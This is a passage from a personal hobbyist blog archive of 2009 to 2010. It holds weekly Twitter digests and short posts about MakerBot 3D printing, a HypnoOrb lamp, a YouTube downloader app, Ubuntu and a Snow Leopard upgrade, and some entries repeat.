to make some new inroads on it. :) <a href="http://twitter.com/docdawning/statuses/7614580698">#</a></p> <p>\t- Twitter Weekly Updates for 2010-01-04 <a href="http://twitter.com/docdawning/statuses/7493550443">#</a></p> <p>\t- Twitter Weekly Updates for 2009-12-28 <a href="http://twitter.com/docdawning/statuses/7493537086">#</a></p> <p>\t- Damn, I was as prepared as is possible, tried for 1hr 50mins straight to submit and pay for my SparkFun Free Day order, but it didn’t work <a href="http://twitter.com/docdawning/statuses/7486313055">#</a></p> <p>\t- Wah, I’ve been ready since last night and ready the moment it opened, but looks unlikely I’ll get to place my sparkfun free day order <a href="http://twitter.com/docdawning/statuses/7486191175">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2010-01-11</h1> <p>Mon, 11 Jan 2010 05:45:00 +0000</p> <p>\t- Working on my Django based scheduling web application.. Nice to make some new inroads on it. :) <a href="http://twitter.com/docdawning/statuses/7614580698">#</a></p> <p>\t- Twitter Weekly Updates for 2010-01-04 <a href="http://twitter.com/docdawning/statuses/7493550443">#</a></p> <p>\t- Twitter Weekly Updates for 2009-12-28 <a href="http://twitter.com/docdawning/statuses/7493537086">#</a></p> <p>\t- Damn, I was as prepared as is possible, tried for 1hr 50mins straight to submit and pay for my SparkFun Free Day order, but it didn’t work <a href="http://twitter.com/docdawning/statuses/7486313055">#</a></p> <p>\t- Wah, I’ve been ready since last night and ready the moment it opened, but looks unlikely I’ll get to place my sparkfun free day order <a href="http://twitter.com/docdawning/statuses/7486191175">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2010-01-04</h1> <p>Mon, 04 Jan 2010 05:45:00 +0000</p> <p>\t- yumification under way <a href="http://twitti.ms/tjlF">http://twitti.ms/tjlF</a> <a href="http://twitter.com/docdawning/statuses/7352768065">#</a></p> <p>\t- Gearin up for a round at Japanese Village <a href="http://twitti.ms/v3Xh">http://twitti.ms/v3Xh</a> <a href="http://twitter.com/docdawning/statuses/7351476989">#</a></p> <p>\t- Finally saw Avatar, was pretty good. Great story. <a href="http://twitter.com/docdawning/statuses/7351167955">#</a></p> <p>\t- Wow, it’s amazing how massively my world changed since #<a href="http://search.twitter.com/search?q=%2310yearsago">10yearsago</a>. Here’s to a rad next 10! <a href="http://twitter.com/docdawning/statuses/7246329912">#</a></p> <p>\t- Havin a leakin 55g aquarium while being 300km away would suck harder if we didn’t have a Paurip towin the line <a href="http://twitter.com/docdawning/statuses/7223216082">#</a></p> <p>\t- Blah, the Rogers website is down.. <a href="http://twitter.com/docdawning/statuses/7169829142">#</a></p> <p>\t- Eatting handmade chocolates <a href="http://twitti.ms/tf26">http://twitti.ms/tf26</a> <a href="http://twitter.com/docdawning/statuses/7148052384">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-12-28</h1> <p>Mon, 28 Dec 2009 05:45:00 +0000</p> <p>\t- Twitter Weekly Updates for 2009-12-21 <a href="http://twitter.com/docdawning/statuses/6892178003">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-12-21</h1> <p>Mon, 21 Dec 2009 05:45:00 +0000</p> <p>\t- The Santa Party is up and running <a href="http://twitti.ms/c6v1">http://twitti.ms/c6v1</a> <a href="http://twitter.com/docdawning/statuses/6878494640">#</a></p> <p>\t- I miss having a car.. Some jerk slashed my gf’s tires and she’s been borrowing my car ever since as she’s too busy. Lame <a href="http://twitter.com/docdawning/statuses/6770477723">#</a></p> <p>\t- My late night round of Civ4 was stabbed in the spine by Windows Update. Meh Bed Time <a href="http://twitter.com/docdawning/statuses/6760332661">#</a></p> <p>\t- Waah, the Sparkfun website appears down! <a href="http://twitter.com/docdawning/statuses/6754054490">#</a></p> <p>\t- Arduino Soldering Workshop at #<a href="http://search.twitter.com/search?q=%23Protospace">Protospace</a> yesterday was a blast! Thanks gang! <a href="http://twitter.com/docdawning/statuses/6751699259">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-12-21</h1> <p>Mon, 21 Dec 2009 05:45:00 +0000</p> <p>\t- The Santa Party is up and running <a href="http://twitti.ms/c6v1">http://twitti.ms/c6v1</a> <a href="http://twitter.com/docdawning/statuses/6878494640">#</a></p> <p>\t- I miss having a car.. Some jerk slashed my gf’s tires and she’s been borrowing my car ever since as she’s too busy. Lame <a href="http://twitter.com/docdawning/statuses/6770477723">#</a></p> <p>\t- My late night round of Civ4 was stabbed in the spine by Windows Update. Meh Bed Time <a href="http://twitter.com/docdawning/statuses/6760332661">#</a></p> <p>\t- Waah, the Sparkfun website appears down! <a href="http://twitter.com/docdawning/statuses/6754054490">#</a></p> <p>\t- Arduino Soldering Workshop at #<a href="http://search.twitter.com/search?q=%23Protospace">Protospace</a> yesterday was a blast! Thanks gang! <a href="http://twitter.com/docdawning/statuses/6751699259">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-12-14</h1> <p>Mon, 14 Dec 2009 05:45:00 +0000</p> <p>\t- Wow, VHS is really hanging on! <a href="http://twitter.com/docdawning/statuses/6647911031">#</a></p> <p>\t- Wow, VHS is really hanging on <a href="http://twitti.ms/MQv6">http://twitti.ms/MQv6</a> <a href="http://twitter.com/docdawning/statuses/6647859967">#</a></p> <p>\t- It’s difficult being a perfectionist & happy when I obsess over imperfectable endeavours <a href="http://twitter.com/docdawning/statuses/6580637103">#</a></p> <p>\t- What a beautiful #<a href="http://search.twitter.com/search?q=%23Wordpress">Wordpress</a> website, took some effort to confirm it’s origin. Great subject matter too: <a href="http://www.lilithfair.com/">http://www.lilithfair.com/</a> <a href="http://twitter.com/docdawning/statuses/6551491486">#</a></p> <p>\t- Trying to decide if this oscilloscope is working <a href="http://twitti.ms/vS3J">http://twitti.ms/vS3J</a> <a href="http://twitter.com/docdawning/statuses/6509804633">#</a></p> <p>\t- Twitter Weekly Updates for 2009-12-07 <a href="http://twitter.com/docdawning/statuses/6429504908">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-12-14</h1> <p>Mon, 14 Dec 2009 05:45:00 +0000</p> <p>\t- Wow, VHS is really hanging on! <a href="http://twitter.com/docdawning/statuses/6647911031">#</a></p> <p>\t- Wow, VHS is really hanging on <a href="http://twitti.ms/MQv6">http://twitti.ms/MQv6</a> <a href="http://twitter.com/docdawning/statuses/6647859967">#</a></p> <p>\t- It’s difficult being a perfectionist & happy when I obsess over imperfectable endeavours <a href="http://twitter.com/docdawning/statuses/6580637103">#</a></p> <p>\t- What a beautiful #<a href="http://search.twitter.com/search?q=%23Wordpress">Wordpress</a> website, took some effort to confirm it’s origin. Great subject matter too: <a href="http://www.lilithfair.com/">http://www.lilithfair.com/</a> <a href="http://twitter.com/docdawning/statuses/6551491486">#</a></p> <p>\t- Trying to decide if this oscilloscope is working <a href="http://twitti.ms/vS3J">http://twitti.ms/vS3J</a> <a href="http://twitter.com/docdawning/statuses/6509804633">#</a></p> <p>\t- Twitter Weekly Updates for 2009-12-07 <a href="http://twitter.com/docdawning/statuses/6429504908">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-12-07</h1> <p>Mon, 07 Dec 2009 05:45:00 +0000</p> <p>\t- Retro Lamp goes HypnoOrb - <a href="https://dawning.ca/2009/retro-lamp-goes-hypnoorb/">/2009/retro-lamp-goes-hypnoorb/</a> <a href="http://twitter.com/docdawning/statuses/6308127751">#</a></p> <p>\t- -16 Degrees.. Seriously? WTF? <a href="http://twitter.com/docdawning/statuses/6306442660">#</a></p> <p>\t- finished another HypnoOrb project… Will blog details later <a href="http://twitti.ms/cAY5">http://twitti.ms/cAY5</a> <a href="http://twitter.com/docdawning/statuses/6299066647">#</a></p> <p>\t- Gearin up for another little HypnoOrb project <a href="http://twitti.ms/jykL">http://twitti.ms/jykL</a> <a href="http://twitter.com/docdawning/statuses/6296458257">#</a></p> <p>\t- quirky hats in Mac Hall <a href="http://twitti.ms/YKmb">http://twitti.ms/YKmb</a> <a href="http://twitter.com/docdawning/statuses/6276819370">#</a></p> <p>\t- Twitter Weekly Updates for 2009-11-29 <a href="http://twitter.com/docdawning/statuses/6193770843">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-12-07</h1> <p>Mon, 07 Dec 2009 05:45:00 +0000</p> <p>\t- Retro Lamp goes HypnoOrb - <a href="https://dawning.ca/2009/retro-lamp-goes-hypnoorb/">/2009/retro-lamp-goes-hypnoorb/</a> <a href="http://twitter.com/docdawning/statuses/6308127751">#</a></p> <p>\t- -16 Degrees.. Seriously? WTF? <a href="http://twitter.com/docdawning/statuses/6306442660">#</a></p> <p>\t- finished another HypnoOrb project… Will blog details later <a href="http://twitti.ms/cAY5">http://twitti.ms/cAY5</a> <a href="http://twitter.com/docdawning/statuses/6299066647">#</a></p> <p>\t- Gearin up for another little HypnoOrb project <a href="http://twitti.ms/jykL">http://twitti.ms/jykL</a> <a href="http://twitter.com/docdawning/statuses/6296458257">#</a></p> <p>\t- quirky hats in Mac Hall <a href="http://twitti.ms/YKmb">http://twitti.ms/YKmb</a> <a href="http://twitter.com/docdawning/statuses/6276819370">#</a></p> <p>\t- Twitter Weekly Updates for 2009-11-29 <a href="http://twitter.com/docdawning/statuses/6193770843">#</a></p> </article> <article> <h1>Retro Lamp goes HypnoOrb</h1> <p>Thu, 03 Dec 2009 09:40:17 +0000</p> <p>Candice saved this hideous old lamp from a bulldozer (literally) and for the last year and a bit we’ve had it hanging up in our basement for extra ambient lighting. The light was setup only to be turned off/on by pulling/placing the plug and that part’s so sketch that we rarely use the thing. So when it came time to replace a bulb, I decided to use a HypnoOrb instead of a more typical bulb. ** **</p> </article> <article> <h1>Twitter Weekly Updates for 2009-11-29</h1> <p>Sun, 29 Nov 2009 22:45:00 +0000</p> <p>\t- Grill bling! Whoa, now anyone can be \‘cool\’ <a href="http://twitti.ms/jl3u">http://twitti.ms/jl3u</a> <a href="http://twitter.com/docdawning/statuses/6089185942">#</a></p> <p>\t- Watching/Listening to a Sarah Mclachlan concert, Mirrorball I believe. Man, do I ever <3 Sarah Mclachlan’s tunes! <a href="http://twitter.com/docdawning/statuses/6065674890">#</a></p> <p>\t- Dang, why would I lend my car out when I have a #<a href="http://search.twitter.com/search?q=%23protospace">protospace</a> meeting.. Hmm.. Maybe I’ll take the train.. Gonna be late, crappy <a href="http://twitter.com/docdawning/statuses/6036409435">#</a></p> <p>\t- My silly little web app to dump YouTube videos to my fileserver. Also provides links to mp4 versions of submitted vids: <a href="http://bit.ly/6VdItI">http://bit.ly/6VdItI</a> <a href="http://twitter.com/docdawning/statuses/6024663911">#</a></p> </article> <article> <h1>YouTube Grabber App</h1> <p>Tue, 24 Nov 2009 12:06:27 +0000</p> <p>I’ve whipped up this little YouTube video grabber for myself and I’ve opened it up for the moment. If I see it getting spammed or abused in some way, I’ll probably password protect it, nevertheless, you can check it out <strong><a href="https://dawning.ca/youtube/">here</a></strong>.</p> <h2 id="what-it-does"><a href="https://dawning.ca/youtube/"><figure> </picture> </figure> </a>What it does</h2> <p>This little app takes a YouTube video link and then adds the reference in a database. A seperate script then polls that database and looks for new URLs. It then uses another script (that I did not write), called yt-download, to fetch each video and dump it to my fileserver.</p> </article> <article> <h1>Twitter Weekly Updates for 2009-11-23</h1> <p>Mon, 23 Nov 2009 05:45:00 +0000</p> <p>\t- Screwin around making something with Django, listenin to CBC Radio 2, chillin out in the tub. <a href="http://twitter.com/docdawning/statuses/5962664582">#</a></p> <p>\t- Gonna hit RL level 26 in about 18 mins. Ahh birthdays. :D <a href="http://twitter.com/docdawning/statuses/5907076341">#</a></p> <p>\t- Man, my energy is so vamped today… <a href="http://twitter.com/docdawning/statuses/5864401238">#</a></p> <p>\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 <a href="http://twitti.ms/7TKk">http://twitti.ms/7TKk</a> <a href="http://twitter.com/docdawning/statuses/5800841237">#</a></p> <p>\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 <a href="http://twitti.ms/ARYV">http://twitti.ms/ARYV</a> <a href="http://twitter.com/docdawning/statuses/5799754374">#</a></p> <p>\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 <a href="http://twitti.ms/Sjwz">http://twitti.ms/Sjwz</a> <a href="http://twitter.com/docdawning/statuses/5799703509">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-11-23</h1> <p>Mon, 23 Nov 2009 05:45:00 +0000</p> <p>\t- Screwin around making something with Django, listenin to CBC Radio 2, chillin out in the tub. <a href="http://twitter.com/docdawning/statuses/5962664582">#</a></p> <p>\t- Gonna hit RL level 26 in about 18 mins. Ahh birthdays. :D <a href="http://twitter.com/docdawning/statuses/5907076341">#</a></p> <p>\t- Man, my energy is so vamped today… <a href="http://twitter.com/docdawning/statuses/5864401238">#</a></p> <p>\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 <a href="http://twitti.ms/7TKk">http://twitti.ms/7TKk</a> <a href="http://twitter.com/docdawning/statuses/5800841237">#</a></p> <p>\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 <a href="http://twitti.ms/ARYV">http://twitti.ms/ARYV</a> <a href="http://twitter.com/docdawning/statuses/5799754374">#</a></p> <p>\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 <a href="http://twitti.ms/Sjwz">http://twitti.ms/Sjwz</a> <a href="http://twitter.com/docdawning/statuses/5799703509">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-11-16</h1> <p>Mon, 16 Nov 2009 05:45:00 +0000</p> <p>\t- Finished another FPGA lab, from my aquatic desk! <a href="http://twitti.ms/Kz5H">http://twitti.ms/Kz5H</a> <a href="http://twitter.com/docdawning/statuses/5756246681">#</a></p> <p>\t- Listening to CBC Radio 2, great workin tunes: <a href="http://bit.ly/4q1YBF">http://bit.ly/4q1YBF</a> <a href="http://twitter.com/docdawning/statuses/5719730957">#</a></p> <p>\t- Fixing up my Subversion server, though wondering if I should be looking closer in to git. Any thoughts world? <a href="http://twitter.com/docdawning/statuses/5716856921">#</a></p> <p>\t- Have I mentioned that IE is a horrible piece of garbage? If you’re still using it, stop & use something standardized: <a href="http://bit.ly/a2k87">http://bit.ly/a2k87</a> <a href="http://twitter.com/docdawning/statuses/5700878578">#</a></p> <p>\t- Are you aware we’ve already crossed the event horizon of this cognitive black hole? Stop comparing TCP and Coax in terms of ‘speed’. <a href="http://twitter.com/docdawning/statuses/5686611611">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-11-09</h1> <p>Mon, 09 Nov 2009 05:45:00 +0000</p> <p>\t- Willow the kitty <a href="http://twitti.ms/Wqip">http://twitti.ms/Wqip</a> <a href="http://twitter.com/docdawning/statuses/5544301363">#</a></p> <p>\t- Printing a whistle, going rather well: <a href="http://bit.ly/127uhb">http://bit.ly/127uhb</a> #<a href="http://search.twitter.com/search?q=%23Makerbot">Makerbot</a> <a href="http://twitter.com/docdawning/statuses/5538990747">#</a></p> <p>\t- Whoa, first time I actually had caps blow on me <a href="http://twitti.ms/Utr7">http://twitti.ms/Utr7</a> <a href="http://twitter.com/docdawning/statuses/5523643204">#</a></p> <p>\t- About time, I’m just printed a box with my #<a href="http://search.twitter.com/search?q=%23MakerBot">MakerBot</a>.. I’m doing another, check it out: <a href="http://bit.ly/127uhb">http://bit.ly/127uhb</a> <a href="http://twitter.com/docdawning/statuses/5521001001">#</a></p> <p>\t- MakerBot #<a href="http://search.twitter.com/search?q=%23155">155</a> printing a box, this time, it’s looking like it’s gonna make it! (Broadcasting live at <a href="http://ustre.am/7tH7">http://ustre.am/7tH7</a>) <a href="http://twitter.com/docdawning/statuses/5519816319">#</a></p> <p>\t- Jasper home from tooth surgery… Very high on drugs, lots of purring <a href="http://twitti.ms/6dvh">http://twitti.ms/6dvh</a> <a href="http://twitter.com/docdawning/statuses/5496932586">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-11-02</h1> <p>Mon, 02 Nov 2009 05:45:00 +0000</p> <p>\t- procrastinating via experimenting with distcc - very cool tool, though doing cross-platform builds seems sort of complicated. <a href="http://twitter.com/docdawning/statuses/5348174175">#</a></p> <p>\t- Ubuntu 9.10 is here. Check out my pseudo review here: <a href="http://bit.ly/1rl7RW">http://bit.ly/1rl7RW</a> <a href="http://twitter.com/docdawning/statuses/5271090604">#</a></p> <p>\t- Successfully printing a box on my MakerBot, check it out! (Broadcasting live at <a href="http://ustre.am/7tH7">http://ustre.am/7tH7</a>) <a href="http://twitter.com/docdawning/statuses/5221219136">#</a></p> <p>\t- MakerBot #<a href="http://search.twitter.com/search?q=%23155">155</a> is back online! Now back to where I was, getting my head around printing.. <a href="http://twitter.com/docdawning/statuses/5220093320">#</a></p> <p>\t- After some helpful input from Zach, king of #<a href="http://search.twitter.com/search?q=%23Makerbots">Makerbots</a>, I’m proceeding to alter my Plastruder, hopefully back to a functional state <a href="http://twitter.com/docdawning/statuses/5212570875">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-11-02</h1> <p>Mon, 02 Nov 2009 05:45:00 +0000</p> <p>\t- procrastinating via experimenting with distcc - very cool tool, though doing cross-platform builds seems sort of complicated. <a href="http://twitter.com/docdawning/statuses/5348174175">#</a></p> <p>\t- Ubuntu 9.10 is here. Check out my pseudo review here: <a href="http://bit.ly/1rl7RW">http://bit.ly/1rl7RW</a> <a href="http://twitter.com/docdawning/statuses/5271090604">#</a></p> <p>\t- Successfully printing a box on my MakerBot, check it out! (Broadcasting live at <a href="http://ustre.am/7tH7">http://ustre.am/7tH7</a>) <a href="http://twitter.com/docdawning/statuses/5221219136">#</a></p> <p>\t- MakerBot #<a href="http://search.twitter.com/search?q=%23155">155</a> is back online! Now back to where I was, getting my head around printing.. <a href="http://twitter.com/docdawning/statuses/5220093320">#</a></p> <p>\t- After some helpful input from Zach, king of #<a href="http://search.twitter.com/search?q=%23Makerbots">Makerbots</a>, I’m proceeding to alter my Plastruder, hopefully back to a functional state <a href="http://twitter.com/docdawning/statuses/5212570875">#</a></p> </article> <article> <h1>Ubuntu 9.10 has landed!</h1> <p>Thu, 29 Oct 2009 15:24:06 +0000</p> <p><strong>Here’s a youtube video I found that shows off some of the more visual aspects of 9.10</strong></p> <p>In case you haven’t heard, the latest release of <a href="http://www.ubuntu.com/">Ubuntu 9.10</a> is out. This outstanding <a href="http://en.wikipedia.org/wiki/Open_source">Open Source</a> <a href="http://en.wikipedia.org/wiki/Operating_system">Operating System</a> continues to refine and polish itself. I’ve been using the development/beta version for about a month now and I’ve found it to run very very nicely. Anyone not sure about giving it a go, it’s free, it’s awesome and you can run it without altering your computer. It’s also as easy as installing a Windows Application.</p> </article> <article> <h1>MakerBot Plastruder Crash</h1> <p>Tue, 27 Oct 2009 10:40:41 +0000</p> <p>While trying to print something on my MakerBot last night, I had an awesome fail where the heater barrel of the plastruder was ripped out. Upon continued reflection, I think this was the product of how I had the heater barrel interfaced with the insulator barrel and I think I know how to fix it without replacing parts. Check out the video below:</p> </article> <article> <h1>MakerBot Plastruder Modified For Slightly Enhanced Awesomeness</h1> <p>Mon, 26 Oct 2009 14:35:21 +0000</p> <p>Hello world, so I’ve been working very hard at getting my most awesome <a href="http://www.makerbot.com">MakerBot</a> working. It’s been a patience invoking venture and also extremely educational. The MakerBot employs some rather brilliant little tricks that make it simple, strong and friggin cheap. It’s a great gadget to have, though it’s definitely NOT for those who want everything now and aren’t capable of taking their time to do the job correctly.</p> <h2 id="meet-my-mod">Meet My Mod</h2> <p>So, in trying to get my MakerBot rockin, I’ve had to debug some stuff in my assembly. The instructions given on assembly are outstanding considering how much stuff you need to do to build one. That said, they’re not flawlessly exhaustive either - and this isn’t yet an exact science. I found myself frustrated by the positioning of the circuit board (I’ll just call it a PCB for now) positioned on the thing that outputs the plastic (Plastruder/RepRap). As you can see in my included photos, I’ve moved the PCB off to the side and flipped it behind the Plastruder.</p> </article> <article> <h1>Twitter Weekly Updates for 2009-09-27</h1> <p>Sun, 27 Sep 2009 14:10:00 +0000</p> <p>\t- I feel like picard on the Stargazer. I’m using my old glasses as my main ones just bit it. Weird. <a href="http://twitter.com/docdawning/statuses/4370792668">#</a></p> <p>\t- There, now this machine can do its job without offending ears <a href="http://twitti.ms/2spi">http://twitti.ms/2spi</a> <a href="http://twitter.com/docdawning/statuses/4344923458">#</a></p> <p>\t- Like my P4 mod? It let me turn an acoustic nightmare into something beautiful <a href="http://twitti.ms/d2rq">http://twitti.ms/d2rq</a> <a href="http://twitter.com/docdawning/statuses/4344390237">#</a></p> <p>\t- Hard hackers unite, #<a href="http://search.twitter.com/search?q=%23Digilent">Digilent</a> has some awesome embedded systems for all #<a href="http://search.twitter.com/search?q=%23diy">diy</a> phreaks: <a href="http://bit.ly/45w2qM">http://bit.ly/45w2qM</a> <a href="http://twitter.com/docdawning/statuses/4323654522">#</a></p> <p>\t- I feel discriminated against.. #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/0oDp">http://twitti.ms/0oDp</a> <a href="http://twitter.com/docdawning/statuses/4321022488">#</a></p> <p>\t- Meh, that can be cured with old fashioned physical abuse, right? <a href="http://twitti.ms/tj16">http://twitti.ms/tj16</a> <a href="http://twitter.com/docdawning/statuses/4307481191">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-09-27</h1> <p>Sun, 27 Sep 2009 14:10:00 +0000</p> <p>\t- I feel like picard on the Stargazer. I’m using my old glasses as my main ones just bit it. Weird. <a href="http://twitter.com/docdawning/statuses/4370792668">#</a></p> <p>\t- There, now this machine can do its job without offending ears <a href="http://twitti.ms/2spi">http://twitti.ms/2spi</a> <a href="http://twitter.com/docdawning/statuses/4344923458">#</a></p> <p>\t- Like my P4 mod? It let me turn an acoustic nightmare into something beautiful <a href="http://twitti.ms/d2rq">http://twitti.ms/d2rq</a> <a href="http://twitter.com/docdawning/statuses/4344390237">#</a></p> <p>\t- Hard hackers unite, #<a href="http://search.twitter.com/search?q=%23Digilent">Digilent</a> has some awesome embedded systems for all #<a href="http://search.twitter.com/search?q=%23diy">diy</a> phreaks: <a href="http://bit.ly/45w2qM">http://bit.ly/45w2qM</a> <a href="http://twitter.com/docdawning/statuses/4323654522">#</a></p> <p>\t- I feel discriminated against.. #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/0oDp">http://twitti.ms/0oDp</a> <a href="http://twitter.com/docdawning/statuses/4321022488">#</a></p> <p>\t- Meh, that can be cured with old fashioned physical abuse, right? <a href="http://twitti.ms/tj16">http://twitti.ms/tj16</a> <a href="http://twitter.com/docdawning/statuses/4307481191">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-09-20</h1> <p>Sun, 20 Sep 2009 14:10:00 +0000</p> <p>\t- Slightly contradictory <a href="http://twitti.ms/A3CF">http://twitti.ms/A3CF</a> <a href="http://twitter.com/docdawning/statuses/4106332325">#</a></p> <p>\t- Before you go get vast amounts of plastic surgery, consider this freaky & true situation: <a href="http://bit.ly/ZCQJn">http://bit.ly/ZCQJn</a> <a href="http://twitter.com/docdawning/statuses/4062934797">#</a></p> <p>\t- Our Koi aquarium has sprung an ygly leak, for now one of us has to manually keep the hole blocked <a href="http://twitti.ms/YH9K">http://twitti.ms/YH9K</a> <a href="http://twitter.com/docdawning/statuses/4022669513">#</a></p> <p>\t- I see the new #<a href="http://search.twitter.com/search?q=%23UofC">UofC</a> school uniforms are out #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/5Q1e">http://twitti.ms/5Q1e</a> <a href="http://twitter.com/docdawning/statuses/4009918679">#</a></p> <p>\t- Ugh, stayed up too late watching #<a href="http://search.twitter.com/search?q=%23Jerico">Jerico</a> - though it was reasonably awesome <a href="http://twitter.com/docdawning/statuses/4008465534">#</a></p> <p>\t- 4Chan joke? Nice <a href="http://twitti.ms/BVWY">http://twitti.ms/BVWY</a> <a href="http://twitter.com/docdawning/statuses/4004814587">#</a></p> <p>\t- Being reminded of the awesomeness of transistors #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/HVOk">http://twitti.ms/HVOk</a> <a href="http://twitter.com/docdawning/statuses/3983301649">#</a></p> </article> <article> <h1>Webserver replaced, again..</h1> <p>Sun, 13 Sep 2009 12:14:26 +0000</p> <p>Howdy, so I’ve returned to hosting my site on a professional connection rather than over my lameo home setup. I’ve grown tired of n00bful downtime due to power outages, ISP outages, people tripping over cables or gnomes screwin around.</p> <p>As such, dawning.ca is now hosted on a server I’ve got running down in Texas with the valuable help of <a href="http://linode.com">Linode</a>. That’s all for now folks.</p> <h2 id="update">Update</h2> <p>I ran in to some interesting configuration problems with this new server that was causing it to frequently run out of memory. I <em>think</em> I’ve resolved those matters with some real help of <a href="http://library.linode.com/troubleshooting/memory-networking">this article</a>.</p> </article> <article> <h1>Twitter Weekly Updates for 2009-09-13</h1> <p>Sun, 13 Sep 2009 08:10:00 +0000</p> <p>\t- Mmmm, massively discounted meat #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> #<a href="http://search.twitter.com/search?q=%23safeway">safeway</a> <a href="http://twitti.ms/LGan">http://twitti.ms/LGan</a> <a href="http://twitter.com/docdawning/statuses/3944078687">#</a></p> <p>\t- I just heard a mother scold her kid for saying “hate” too often. Neat. <a href="http://twitter.com/docdawning/statuses/3925482236">#</a></p> <p>\t- RT @NathanFillion: The best $1.49 I ever spent was on DO YOU WANT TO DATE MY AVATAR. Yet another… reason to worship @FeliciaDay. <a href="http://twitter.com/docdawning/statuses/3920723643">#</a></p> <p>\t- I have secured MOSFETs for my biggie-sized #<a href="http://search.twitter.com/search?q=%23HypnoOrb">HypnoOrb</a> I’m making <a href="http://twitti.ms/NZLf">http://twitti.ms/NZLf</a> <a href="http://twitter.com/docdawning/statuses/3918973469">#</a></p> <p>\t- The #<a href="http://search.twitter.com/search?q=%23Den">Den</a> at #<a href="http://search.twitter.com/search?q=%23UofC">UofC</a> asked me to take my #<a href="http://search.twitter.com/search?q=%23IcedCapp">IcedCapp</a> outside, jerks #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/EPzS">http://twitti.ms/EPzS</a> <a href="http://twitter.com/docdawning/statuses/3916174247">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-09-13</h1> <p>Sun, 13 Sep 2009 08:10:00 +0000</p> <p>\t- Mmmm, massively discounted meat #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> #<a href="http://search.twitter.com/search?q=%23safeway">safeway</a> <a href="http://twitti.ms/LGan">http://twitti.ms/LGan</a> <a href="http://twitter.com/docdawning/statuses/3944078687">#</a></p> <p>\t- I just heard a mother scold her kid for saying “hate” too often. Neat. <a href="http://twitter.com/docdawning/statuses/3925482236">#</a></p> <p>\t- RT @NathanFillion: The best $1.49 I ever spent was on DO YOU WANT TO DATE MY AVATAR. Yet another… reason to worship @FeliciaDay. <a href="http://twitter.com/docdawning/statuses/3920723643">#</a></p> <p>\t- I have secured MOSFETs for my biggie-sized #<a href="http://search.twitter.com/search?q=%23HypnoOrb">HypnoOrb</a> I’m making <a href="http://twitti.ms/NZLf">http://twitti.ms/NZLf</a> <a href="http://twitter.com/docdawning/statuses/3918973469">#</a></p> <p>\t- The #<a href="http://search.twitter.com/search?q=%23Den">Den</a> at #<a href="http://search.twitter.com/search?q=%23UofC">UofC</a> asked me to take my #<a href="http://search.twitter.com/search?q=%23IcedCapp">IcedCapp</a> outside, jerks #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitti.ms/EPzS">http://twitti.ms/EPzS</a> <a href="http://twitter.com/docdawning/statuses/3916174247">#</a></p> </article> <article> <h1>Twitter Weekly Updates for 2009-09-07</h1> <p>Sun, 06 Sep 2009 08:10:00 +0000</p> <p>\t- Huh, there’s a 0.7V drop from the outlet to this bar <a href="http://twitti.ms/9OCr">http://twitti.ms/9OCr</a> <a href="http://twitter.com/docdawning/statuses/3751265901">#</a></p> <p>\t- Playin with my new multimeter in the car <a href="http://twitti.ms/5BcR">http://twitti.ms/5BcR</a> <a href="http://twitter.com/docdawning/statuses/3747979740">#</a></p> <p>\t- According to my new multimeter, Paulrip could get a job as a 770KOhm resistor <a href="http://twitter.com/docdawning/statuses/3747317047">#</a></p> <p>\t- Whoa, gettin very windy by U of C #<a href="http://search.twitter.com/search?q=%23yyc">yyc</a> <a href="http://twitter.com/docdawning/statuses/3745255143">#</a></p> <p>\t- I just added this handy #<a href="http://search.twitter.com/search?q=%23ajax">ajax</a> / #<a href="http://search.twitter.com/search?q=%23javascript">javascript</a> code to a site I’m doing to get nice expand/collapse functionality: <a href="http://bit.ly/6cmU">http://bit.ly/6cmU</a> <a href="http://twitter.com/docdawning/statuses/3739241550">#</a></p> <p>\t- Nice Ajax code for page folding: <a href="http://bit.ly/2lzAyN">http://bit.ly/2lzAyN</a> <a href="http://twitter.com/docdawning/statuses/3737120214">#</a></p> </article> <article> <h1>Snow Leopard Upgrade on a Triple Booting Macbook</h1> <p>Tue, 01 Sep 2009 20:41:13 +0000</p> <p><figure> </picture> </figure> Howdy World, so last friday was release day for Snow Leopard, woot! I went out and grabbed a copy and rushed home to upgrade my macbook… Here’s the tale of a bit of resistance I met and how I resolved it.</p> <h2 id="yellow-triangle-of-rejection">Yellow Triangle of Rejection</h2> <p>So the problem I quickly encountered was that my “Macintosh HD” partition had an ugly little yellow symbol over it rejecting me from updating my OS X install. I forget (unfortunately), the particular error message. Nevertheless the short version was that regardless of how I launched the installer or a number of other things I tried, it wouldn’t let me run the upgrade.</p> </article> <article> <h1>Twitter Weekly Updates for 2009-08-30</h1> <p>Sun, 30 Aug 2009 08:10:00 +0000</p> <p>\t- Enjoyin marshmellows with family <a href="http://twitti.ms/cHJK">http://twitti.ms/cHJK</a> <a 